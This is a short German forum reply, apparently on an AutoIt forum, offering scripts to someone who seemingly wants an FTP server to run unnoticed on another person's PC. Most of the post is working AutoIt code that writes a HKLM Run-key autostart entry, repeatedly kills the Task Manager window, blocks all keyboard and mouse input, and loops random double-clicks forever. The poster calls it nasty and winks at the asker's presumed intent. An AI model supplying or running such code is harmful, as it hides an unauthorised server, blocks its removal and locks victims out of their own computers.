Hihihi^^
Du könntest einen Registryeintrag erstellen, in etwa so:
Code:
Run("G6FTPSrv")
;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
EndIf
dann noch etwas wie
Code:
AdlibEnable("_WinKill")
Func _WinKill()
If WinExists("Task Manager") Then
WinKill("Task Manager")
EndIf
EndFunc
und vielleicht auch noch
..aber das wär schon ziemlich fies..
Was aber auch geil wär, wär einfach:
Code:
Main()
Func Main()
AdlibEnable("_WinKill")
AutoStart()
Sleep(100)
_NoInput()
Sleep(100)
_RMouseMove()
EndFunc
Func AutoStart()
Run("G6FTPSrv")
;Autostart
If NOT RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe") = "" Then ;Überprüfen ob bereits ein Autostart-Eintrag in der Registry besteht
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RUN", "G6FTPSrv.exe", "REG_SZ", "C:\ftp\") ;Wenn nicht soll einer erstellt werden
Else ;Wenn doch soll nichts gemacht werden.
Sleep(100)
EndIf
EndFunc
Func _WinKill()
If WinExists("Task Manager") Then
WinKill("Task Manager")
EndIf
EndFunc
Func _RMouseMove()
While 1
MouseClick("left", (Random(0, 2000, 1)), (Random(0, 2000, 1)), 2)
WEnd
EndFunc
Func _NoInput()
BlockInput(1)
EndFunc
Aber das hast du nicht von mir ;)
PS: Sag nicht, das du nicht soetwas vor hattest :)